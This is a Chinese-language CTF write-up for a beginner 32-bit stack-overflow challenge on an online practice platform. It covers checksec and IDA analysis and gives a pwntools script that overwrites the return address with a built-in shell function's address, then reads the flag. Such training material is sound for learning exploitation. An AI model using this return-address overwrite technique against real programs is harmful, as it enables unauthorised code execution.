首先checksec检查一下保护机制:
-32位程序
-仅开启了栈不可执行保护

接下来使用反汇编工具IDA进行分析:
发现vulnerable函数和shell函数,分别点进去

vulnerable函数:
buf到栈底的距离为0x18个字节,但是这里read却读入了0x20个字节的数据,存在栈溢出漏洞,顺便算出偏移为0x18 + 0x4

shell函数:
执行shell函数即可拿到shell

顺便拿到shell地址0x804851B

接下来编写exp攻击脚本:
python
from pwn import *
context(arch='i386', os='linux', log_level='debug')
#io = process('./pwn') # 在本地运行程序。
# gdb.attach(io) # 启动 GDB
io = connect('node5.buuoj.cn',27617) # 与在线环境交互。
offset = 0x18 + 0x4
shell_addr = 0x804851B
payload = b'a'*offset + p32(shell_addr)
io.sendline(payload)
io.interactive()
这是运行结果:
最后手动输入cat flag拿到flag
